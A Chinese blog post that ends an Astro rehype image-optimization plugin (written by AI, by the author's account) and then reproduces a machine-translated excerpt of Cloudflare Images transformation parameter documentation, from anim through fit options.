</span><span>generateCdnUrl</span><span>(</span><span>1200</span><span>);</span></div></div><div><div><div>46</div></div><div><span>      </span><span>const</span><span> </span><span>s1600</span><span> </span><span>=</span><span> </span><span>generateCdnUrl</span><span>(</span><span>1600</span><span>);</span></div></div><div><div><div>47</div></div><div>
</div></div><div><div><div>48</div></div><div><span><span>      </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>srcset</span><span> </span><span>=</span><span> </span><span>`</span><span>${</span><span>s500</span><span>}</span><span> 500w, </span><span>${</span><span>s800</span><span>}</span><span> 800w, </span><span>${</span><span>s1200</span><span>}</span><span> 1200w, </span><span>${</span><span>s1600</span><span>}</span><span> 1600w`</span><span>;</span></div></div><div><div><div>49</div></div><div><span><span>      </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>sizes</span><span> </span><span>=</span><span> </span><span>'(max-width: 600px) 100vw, 800px'</span><span>;</span></div></div><div><div><div>50</div></div><div><span><span>      </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>loading</span><span> </span><span>=</span><span> </span><span>'lazy'</span><span>;</span></div></div><div><div><div>51</div></div><div><span><span>      </span></span><span>node</span><span>.</span><span>properties</span><span>.</span><span>decoding</span><span> </span><span>=</span><span> </span><span>'async'</span><span>;</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>});</span></div></div><div><div><div>53</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>54</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><blockquote><p>这是最新的代码（cloudflare Images图片实时转换的，想参考旧代码请去看github的提交记录</p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/cloudflare-Images/github-rehypeImageOptimization-git.jpg" alt="提交记录" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/cloudflare-Images/github-rehypeImageOptimization-git.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/cloudflare-Images/github-rehypeImageOptimization-git.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/cloudflare-Images/github-rehypeImageOptimization-git.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/cloudflare-Images/github-rehypeImageOptimization-git.jpg 1600w" loading="lazy" /><figcaption>提交记录</figcaption></figure><p></p><blockquote><p>这个代码是AI写的，说实话我本身就不会写代码</p></blockquote><blockquote><p>如何给astro装插件可以问AI，我只是说可以，没说一定，我也不对这句话产生的一切后果或问题（包括间接产生的）负责！当你使用或者参考了这段代码或者我说的话，代表你已经阅读了本站的隐私政策和免责声明！
请勿用于生产环境，个人使用或者借鉴请审查！请仔细阅读本站隐私政策！</p></blockquote></section></section><section><h2>新方案<a href="#新方案"><span>#</span></a></h2><p>新方案是我在闲着没事的时候想到可以这样玩。</p><blockquote><p>我其实是在逛cloudflare的时候看到了这个Images，还有每月免费转换额度。😃</p></blockquote><p>我就请ai改了插件代码，然后就可以用了</p><blockquote><p>代码看上方的</p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/cloudflare-Images/cloudflare-Images-result.jpg" alt="统计" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/cloudflare-Images/cloudflare-Images-result.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/cloudflare-Images/cloudflare-Images-result.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/cloudflare-Images/cloudflare-Images-result.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/cloudflare-Images/cloudflare-Images-result.jpg 1600w" loading="lazy" /><figcaption>统计</figcaption></figure><p></p><p><strong>以下来自cloudflare 文档，原文是英文的，我用ai翻译成Zh_cn，不具参考意义！</strong></p><blockquote><p>文档索引<br />
在以下地址获取完整的文档索引：<a href="https://developers.cloudflare.com/images/llms.txt" target="_blank">https://developers.cloudflare.com/images/llms.txt</a><br />
在深入探索之前，请使用此文件发现所有可用的页面。</p></blockquote><p><a href="#%5Ftop">跳转到内容</a></p></section></section>
<section><h1>功能<a href="#功能"><span>#</span></a></h1><p>Cloudflare 使开发者能够通过实时动态生成不同版本来大规模优化图像。</p><p>本指南介绍了所有可用于调整图像大小、裁剪、处理和应用视觉效果的参数。</p><section><h2>如何应用优化<a href="#如何应用优化"><span>#</span></a></h2><p>通过以下方式使用 Cloudflare 的图像优化功能：</p><ul>
<li><strong>URL 接口</strong> — 直接在图像 URL 中应用参数，以指定在向浏览器提供图像时应如何进行优化。</li>
<li><strong>Workers</strong> — 将 Images API 直接绑定到您的 Worker，或在 <code>fetch</code> 子请求中设置 <code>cf.image</code> 选项，以构建程序化的图像工作流。</li>
</ul><section><h3>URL 接口<a href="#url-接口"><span>#</span></a></h3><p>根据您是优化 <a href="https://developers.cloudflare.com/images/optimization/transformations/overview/" target="_blank">远程</a> 图像还是 <a href="https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/" target="_blank">托管</a> 图像，Cloudflare 使用不同的 URL 结构：</p><ul>
<li><a href="#tab-panel-9344"> 远程图像（转换） </a></li>
<li><a href="#tab-panel-9345"> 托管图像 </a></li>
</ul><p>在优化 Images 之外的图像时，默认的转换 URL 使用以下结构：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://&lt;ZONE&gt;/cdn-cgi/image/&lt;OPTIONS&gt;/&lt;SOURCE-IMAGE&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>URL 构成说明</p>

<table><thead><tr><th>部分</th><th>描述</th></tr></thead><tbody><tr><td></td><td>您在 Cloudflare 的域名。可以在每个启用了转换功能的 Cloudflare 区域上请求转换。</td></tr><tr><td>/cdn-cgi/image/</td><td>一个固定的前缀，用于标识此路径是优化图像的请求。要隐藏此部分，您可以设置 <a href="https://developers.cloudflare.com/images/optimization/transformations/rewrite-rules/" target="_blank">转换规则</a> 以从自定义路径提供图像。</td></tr><tr><td></td><td>优化参数列表，用逗号分隔。一个有效的 URL 必须至少指定一个参数。</td></tr><tr><td></td><td>您要转换的原始图像。您可以使用源服务器上的绝对路径或以 https:// 或 http:// 开头的绝对 URL。</td></tr></tbody></table><p>对于存储在 Cloudflare Images 中的图像，请使用带有变体或自定义选项的交付 URL：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://imagedelivery.net/&lt;ACCOUNT_HASH&gt;/&lt;IMAGE-ID&gt;/&lt;VARIANT-OR-OPTIONS&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>URL 构成说明</p>

<table><thead><tr><th>部分</th><th>描述</th></tr></thead><tbody><tr><td>imagedelivery.net</td><td>用于优化 Images 中托管的图像的共享 Cloudflare 域名。作为替代方案，您也可以 <a href="https://developers.cloudflare.com/images/optimization/hosted-images/serve-from-custom-domains/" target="_blank">从自己的域名提供图像</a>。</td></tr><tr><td>&lt;ACCOUNT_HASH&gt;</td><td>您 Cloudflare 账户的唯一标识符。您可以在 <a href="https://dash.cloudflare.com/?to=/:account/images/hosted" target="_blank">Cloudflare 仪表板 ↗</a> 的 <strong>Images</strong> &gt; <strong>Developer Resources</strong> 下找到您的账户哈希值。</td></tr><tr><td></td><td>托管图像的唯一标识符。当您上传到 Images 时，Cloudflare 会自动生成一个图像 ID。您也可以设置 <a href="https://developers.cloudflare.com/images/storage/upload-images/upload-custom-path/" target="_blank">自定义 ID</a> 以使用您自己的路径结构。</td></tr><tr><td></td><td>在此处，您可以指定一个 <a href="https://developers.cloudflare.com/images/optimization/hosted-images/create-variants/" target="_blank">预定义的变体</a> 或用逗号分隔的优化参数列表。一个有效的 URL 必须指定一个变体或至少一个参数。</td></tr></tbody></table></section><section><h3>Workers<a href="#workers"><span>#</span></a></h3><p>当使用 <a href="https://developers.cloudflare.com/images/optimization/transformations/transform-via-workers/" target="_blank">Images with Workers</a> 时，您可以：</p><ul>
<li>应用自定义逻辑来设置优化操作的顺序。例如，默认情况下，Images 会在 <code>rotate</code> 之前应用 <code>flip</code>；相反，您可以使用 Images 绑定来自定义优化工作流，以在翻转图像之前旋转它。</li>
<li>使用自定义 URL 方案来代替默认的 URL 结构。</li>
<li>实施内容协商，以根据设备和网络状况动态调整图像大小、格式和质量。</li>
</ul><hr /></section></section><section><h2>参数<a href="#参数"><span>#</span></a></h2><section><h3><code>anim</code><a href="#anim"><span>#</span></a></h3><p>指定是否保留输入文件中的动画帧。</p><ul>
<li><code>true</code>（默认）— 输出包含所有帧的动画图像。</li>
<li><code>false</code> — 将动画输入的第一帧转换为静态图像。</li>
</ul><p>在放大图像或处理任意用户上传的内容时，建议使用此设置，因为动画 GIF 的文件大小可能很大，从而增加页面加载时间。使用 <code>format=json</code> 时，设置 <code>anim=false</code> 也很有用，可以更快速地获取响应，而无需帧数信息。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/anim.B4kULVAW.gif" alt="原始动画" loading="lazy" /><figcaption>原始动画</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/anim.Cxswk-aF.png" alt="anim=false 输出" loading="lazy" /><figcaption>anim=false 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>anim=false</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9296"> URL 格式 </a></li>
<li><a href="#tab-panel-9297"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>anim=false</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>anim</span><span>: </span></span><span>false</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>background</code><a href="#background"><span>#</span></a></h3><p>指定一种不透明或透明的颜色来填充图像中的空白或透明像素。默认值为 <code>%23FFFFFF</code>（白色）。</p><p>接受以下属性：</p><ul>
<li>HEX 颜色代码，格式为 <code>%23RRGGBB</code>。</li>
<li>CSS 颜色名称，例如 <code>white</code> 或 <code>red</code>。</li>
<li><code>rgb()</code> 或 <code>rgba()</code> CSS 颜色函数，例如 <code>rgba(250,40,145,0.5)</code>。</li>
</ul><p>背景颜色在具有透明像素的图像中可见，包括使用 <code>fit=pad</code> 调整大小的图像。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/background-red.BDIBWvns.jpg" alt="background=red 输出" loading="lazy" /><figcaption>background=red 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720</td><td><strong>输出</strong>1080 x 900</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9298"> URL 格式 </a></li>
<li><a href="#tab-panel-9299"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>background=%23ff0000</span></div></div><div><div><div>2</div></div><div><span>background=red</span></div></div><div><div><div>3</div></div><div><span>background=rgb%28240%2C40%2C145%29</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>background</span><span>: </span></span><span>"#RRGGBB"</span><span>}}</span></div></div><div><div><div>2</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>background</span><span>: </span></span><span>"rgba(240,40,145,0)"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>blur</code><a href="#blur"><span>#</span></a></h3><p>对图像应用模糊半径。接受从 <code>0</code>（无模糊）到 <code>250</code>（最大模糊）的整数。默认值为 <code>0</code>。</p><p>当通过 URL 进行优化时，不应使用此参数来可靠地模糊图像内容，因为可以修改 URL 以移除模糊参数。相反，您可以通过 Workers <a href="https://developers.cloudflare.com/images/optimization/transformations/transform-via-workers/" target="_blank">限制对原始图像的访问</a>。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/blur-50.CHVCNtdi.jpg" alt="blur=50 输出" loading="lazy" /><figcaption>blur=50 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>blur=50</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9300"> URL 格式 </a></li>
<li><a href="#tab-panel-9301"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>blur=50</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>blur</span><span>: </span></span><span>50</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>border</code><a href="#border"><span>#</span></a></h3><p>在图像周围添加边框。</p><p>注意</p><p>此功能仅适用于 Workers。</p><p>接受以下属性：</p><ul>
<li><code>color</code> — 设置边框的颜色。接受任何有效的 CSS 颜色值，例如 <code>#FF0000</code>、<code>rgb(0,0,0)</code> 或 <code>red</code>。</li>
<li><code>width</code> — 在所有四边设置统一的边框宽度（像素）。</li>
<li><code>top</code>、<code>right</code>、<code>bottom</code>、<code>left</code> — 为单独的边设置边框宽度（像素）。</li>
</ul><p>边框是在图像调整大小之后应用的。边框宽度会随 <a href="https://developers.cloudflare.com/images/optimization/features#dpr" target="_blank">dpr</a> 参数自动缩放，以确保在高分辨率屏幕上的清晰度。</p><ul>
<li><a href="#tab-panel-9293"> Workers </a></li>
</ul><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>border</span><span>: {</span><span>color</span><span>: </span></span><span>"rgb(0,0,0,0)"</span><span><span>, </span><span>top</span><span>: </span></span><span>5</span><span><span>, </span><span>right</span><span>: </span></span><span>10</span><span><span>, </span><span>bottom</span><span>: </span></span><span>5</span><span><span>, </span><span>left</span><span>: </span></span><span>10</span><span>}}}</span></div></div><div><div><div>2</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>border</span><span>: {</span><span>color</span><span>: </span></span><span>"#FFFFFF"</span><span><span>, </span><span>width</span><span>: </span></span><span>10</span><span>}}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>brightness</code><a href="#brightness"><span>#</span></a></h3><p>使用乘数调整图像的整体亮度。</p><ul>
<li><code>1</code>（默认）— 对原始亮度无更改。</li>
<li><code>&lt; 1.0</code> — 使图像变暗，例如 <code>0.5</code> 表示亮度为一半。</li>
<li><code>&gt; 1.0</code> — 使图像变亮，例如 <code>2</code> 表示亮度为两倍。</li>
</ul>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/brightness-0.5.D3jxMNxf.jpg" alt="brightness=0.5 输出" loading="lazy" /><figcaption>brightness=0.5 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/brightness-2.D-IbGyod.jpg" alt="brightness=2 输出" loading="lazy" /><figcaption>brightness=2 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>brightness=0.5</td><td>brightness=2</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9302"> URL 格式 </a></li>
<li><a href="#tab-panel-9303"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>brightness=0.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>brightness</span><span>: </span></span><span>0.5</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>compression</code><a href="#compression"><span>#</span></a></h3><p>选择压缩速度最快的输出格式。接受 <code>fast</code>。默认为 none。</p><p><code>compression=fast</code> 选项优先考虑编码速度，而不是输出质量和文件大小，并且通常会覆盖 <code>format</code> 参数，选择 JPEG 而不是更高效的格式（如 AVIF 或 WebP）。这会略微减少缓存未命中时的延迟，但可能会导致文件大小增加和图像质量降低。</p><p>除非在特殊情况下（例如调整不可缓存的动态生成图像的大小），否则不建议使用此选项。</p><ul>
<li><a href="#tab-panel-9304"> URL 格式 </a></li>
<li><a href="#tab-panel-9305"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>compression=fast</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>compression</span><span>: </span></span><span>"fast"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>contrast</code><a href="#contrast"><span>#</span></a></h3><p>使用乘数调整图像最暗和最亮部分之间的整体差异。</p><ul>
<li><code>1</code>（默认）— 对原始对比度无更改。</li>
<li><code>&lt; 1.0</code> — 降低对比度，使阴影变浅，高光变深。</li>
<li><code>&gt; 1.0</code> — 增加对比度，将阴影推向黑色，将高光推向白色。</li>
</ul>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/original.DuemPfHh.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/contrast-0.5.BJSw_Q0N.jpg" alt="contrast=0.5 输出" loading="lazy" /><figcaption>contrast=0.5 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/contrast-2.yLjBBcQQ.jpg" alt="contrast=2 输出" loading="lazy" /><figcaption>contrast=2 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong></td><td>contrast=0.5</td><td>contrast=2</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9306"> URL 格式 </a></li>
<li><a href="#tab-panel-9307"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>contrast=0.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>contrast</span><span>: </span></span><span>0.5</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>dpr</code><a href="#dpr"><span>#</span></a></h3><p>通过乘数缩放输出分辨率以匹配用户的特定屏幕密度（例如 Retina 或 4K）。默认值为 <code>1</code>，它以请求的精确宽度和高度提供图像。支持的最大值为 <code>2</code>。</p><p>现代设备的物理像素多于 CSS 像素。如果您在高 DPR 智能手机的 300px 容器中提供 300px 的图像，它看起来会很模糊。使用 <code>dpr=2</code> 告诉 Cloudflare 为同一个 300px 容器发送 600px 的图像，从而产生更清晰、更锐利的图像。</p><p><code>dpr</code> 参数可以与 <code>srcset</code> 一起使用，以 <a href="https://developers.cloudflare.com/images/optimization/make-responsive-images/" target="_blank">提供响应式图像</a>。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/dpr-1.kw44tjdd.jpg" alt="dpr=1 输出" loading="lazy" /><figcaption>dpr=1 输出</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/dpr-2.frEHI63e.jpg" alt="dpr=2 输出" loading="lazy" /><figcaption>dpr=2 输出</figcaption></figure></th></tr></thead><tbody><tr><td>width=300,height=200,dpr=1</td><td>width=300,height=200,dpr=2</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9308"> URL 格式 </a></li>
<li><a href="#tab-panel-9309"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>dpr=1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>dpr</span><span>: </span></span><span>1</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>fit</code><a href="#fit"><span>#</span></a></h3><p>指定图像如何适应目标区域。</p><p>适应操作是在设置图像的 <a href="#width">width</a> 和 <a href="#height">height</a> 尺寸之后执行的。</p>

<table><thead><tr><th>选项</th><th>结果</th><th>保持原始纵横比</th><th>放大</th></tr></thead><tbody><tr><td>scale-down (默认)</td><td>显示整个图像而不裁剪或放大</td><td>Yes</td><td>No</td></tr><tr><td>contain</td><td>显示整个图像而不裁剪</td><td>Yes</td><td>Yes</td></tr><tr><td>cover</td><td>填充整个请求区域，必要时进行裁剪</td><td>No</td><td>Yes</td></tr><tr><td>crop</td><td>填充整个请求区域，但从不放大</td><td>No</td><td>No</td></tr><tr><td>aspect-crop</td><td>裁剪以匹配目标纵横比，但从不放大</td><td>No</td><td>No</td></tr><tr><td>pad</td><td>适应目标区域，为剩余区域添加空间</td><td>Yes</td><td>Yes</td></tr><tr><td>squeeze</td><td>缩放到精确尺寸，必要时进行扭曲</td><td>No</td><td>Yes</td></tr><tr><td>scale-up</td><td>放大时显示整个图像，但从不缩小</td><td>Yes</td><td>Yes</td></tr></tbody></table><ul>
<li><a href="#tab-panel-9310"> URL 格式 </a></li>
<li><a href="#tab-panel-9311"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>fit=pad</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>fit</span><span>: </span></span><span>"pad"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4><code>scale-down</code><a href="#scale-down"><span>#</span></a></h4><p>调整图像大小以适应指定的尺寸，同时保持其原始纵横比，但从不放大图像。这是默认的 <code>fit</code> 行为。</p><p>当原始图像小于目标区域时，它以其原始尺寸返回。例如，请求以 2000x2000 提供 1080x720 的图像将返回 1080x720 的图像。</p><p>当较大时，它会缩小图像以适应目标区域，同时匹配原始纵横比。</p><p>在下面的示例中，1080x720 的图像被调整为适应 500x500 的目标区域。由于 <code>scale-down</code> 保持了原始纵横比（3&lt;2&gt;），因此输出图像的最终尺寸为 500x333。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/1296x1296.BYEj6EvB.png" alt="目标区域" loading="lazy" /><figcaption>目标区域</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-contain.B_qfOwMN.png" alt="fit=scale-down 输出" loading="lazy" /><figcaption>fit=scale-down 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720 (3&lt;2&gt;)</td><td><strong>请求</strong>500 x 500 (1&lt;1&gt;)</td><td><strong>输出</strong>500 x 333 (3&lt;2&gt;)</td></tr></tbody></table></section><section><h4><code>contain</code><a href="#contain"><span>#</span></a></h4><p>调整图像大小，使其在目标 <code>width</code> 和 <code>height</code> 尺寸内尽可能大，同时保持其原始纵横比。</p><p>当原始图像大于目标区域时，它会缩小以适应目标区域（像 <code>scale-down</code>）。</p><p>当较小时，它会放大（像 <code>scale-up</code>）。与 <a href="#upscale">upscale</a> 参数配合使用以控制放大图像的算法。要避免放大，请使用 <code>scale-down</code>。</p></section><section><h4><code>cover</code><a href="#cover"><span>#</span></a></h4><p>填充整个目标区域，必要时缩小或放大图像。输出区域始终与请求的 <code>width</code> 和 <code>height</code> 尺寸完全匹配。</p><p>当原始纵横比与目标纵横比不同时，图像会被调整大小以覆盖整个目标区域，并且任何溢出部分都会被裁剪。使用 <a href="#gravity">gravity</a> 参数控制裁剪期间保留图像的哪一部分。</p><p>与 <a href="#upscale">upscale</a> 参数配合使用以控制放大图像的算法。</p><p>在下面的示例中，1080×720 的图像首先被调整为 750×500（匹配请求的高度）以适应目标区域，然后从左右边缘裁剪到其最终的 500x500 尺寸。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/1296x1296.BYEj6EvB.png" alt="目标区域" loading="lazy" /><figcaption>目标区域</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-cover.ZWLczl5t.png" alt="fit=cover 输出" loading="lazy" /><figcaption>fit=cover 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720 (3&lt;2&gt;)</td><td><strong>请求</strong>500 x 500 (1&lt;1&gt;)</td><td><strong>输出</strong>500 x 500 (1&lt;1&gt;)</td></tr></tbody></table><p>当原始图像小于目标区域时，它会放大。要避免放大，请使用 <code>crop</code>。</p></section><section><h4><code>crop</code><a href="#crop"><span>#</span></a></h4><p>调整图像大小以填充目标区域而不放大。</p><p>当原始图像小于目标区域时，它保持其原始大小和纵横比（像 <code>scale-down</code>）。</p><p>在下面的示例中，原始图像（1080x720）小于目标区域（1296x1296），因此它保持其原始大小和纵横比。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/1296x1296.BYEj6EvB.png" alt="目标区域" loading="lazy" /><figcaption>目标区域</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="fit=crop 输出" loading="lazy" /><figcaption>fit=crop 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720 (3&lt;2&gt;)</td><td><strong>请求</strong>1296 x 1296 (1&lt;1&gt;)</td><td><strong>输出</strong>1080 x 720 (3&lt;2&gt;)</td></tr></tbody></table><p>当原始图像大于目标区域时，它的行为类似于 <code>cover</code>（填充目标区域并裁剪其余部分）。</p></section><section><h4><code>aspect-crop</code><a href="#aspect-crop"><span>#</span></a></h4><p>裁剪图像以匹配目标纵横比，必要时缩小但从不放大。</p><p>当原始图像大于目标区域时，它会缩小到仍然填充目标尺寸的最小尺寸，然后被裁剪以匹配目标纵横比（像 <code>cover</code>）。</p><p>当原始图像小于目标区域时，它保持其原始大小，但被裁剪以匹配目标纵横比。与保留较小图像的原始大小和尺寸的 <code>crop</code> 不同，<code>aspect-crop</code> 始终强制执行目标纵横比。</p><p>例如，在 1920x1120 处请求的 612x613 图像不会被放大。相反，它保持其原始大小并被裁剪为 612x357，匹配 1920&lt;1120&gt; 的纵横比。使用 <a href="#gravity">gravity</a> 参数控制裁剪期间保留图像的哪一部分。</p></section><section><h4><code>pad</code><a href="#pad"><span>#</span></a></h4><p>调整图像大小，使其在尺寸内尽可能大。如果适用，输出区域将被扩展以完全匹配 <code>width</code> 和 <code>height</code> 尺寸。</p><p>与 <code>background</code> 参数配合使用以填充任何空白或透明像素。但是，对于 Web 应用程序，您通常可以通过将 <code>contain</code> 选项与 CSS <code>object-fit: contain</code> 属性一起使用来实现相同的视觉效果，从而避免将填充像素编码到图像本身中。</p><p>在下面的示例中，原始图像（1080x720）小于目标区域（1080x1080），因此它为剩余像素创建空间。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/1296x1296.BYEj6EvB.png" alt="目标区域" loading="lazy" /><figcaption>目标区域</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-pad.Ci9pnK3M.png" alt="fit=pad 输出" loading="lazy" /><figcaption>fit=pad 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720 (3&lt;2&gt;)</td><td><strong>请求</strong>1080 x 1080 (1&lt;1&gt;)</td><td><strong>输出</strong>1080 x 1080 (1&lt;1&gt;)</td></tr></tbody></table></section><section><h4><code>squeeze</code><a href="#squeeze"><span>#</span></a></h4><p>将图像调整为精确匹配请求的宽度和高度，而不裁剪边缘或约束部分。</p><p>当原始纵横比与目标纵横比不同时，图像将被扭曲以适应目标区域。</p>

<table><thead><tr><th><figure><img src="https://developers.cloudflare.com/_astro/pete-landscape.C1O-FBM1.jpg" alt="原始图像" loading="lazy" /><figcaption>原始图像</figcaption></figure></th><th><figure><img src="https://developers.cloudflare.com/_astro/pete-squeeze.BalgFHoW.jpg" alt="fit=squeeze 输出" loading="lazy" /><figcaption>fit=squeeze 输出</figcaption></figure></th></tr></thead><tbody><tr><td><strong>原始</strong>1080 x 720</td><td><strong>输出</strong>1080 x 540</td></tr></tbody></table>

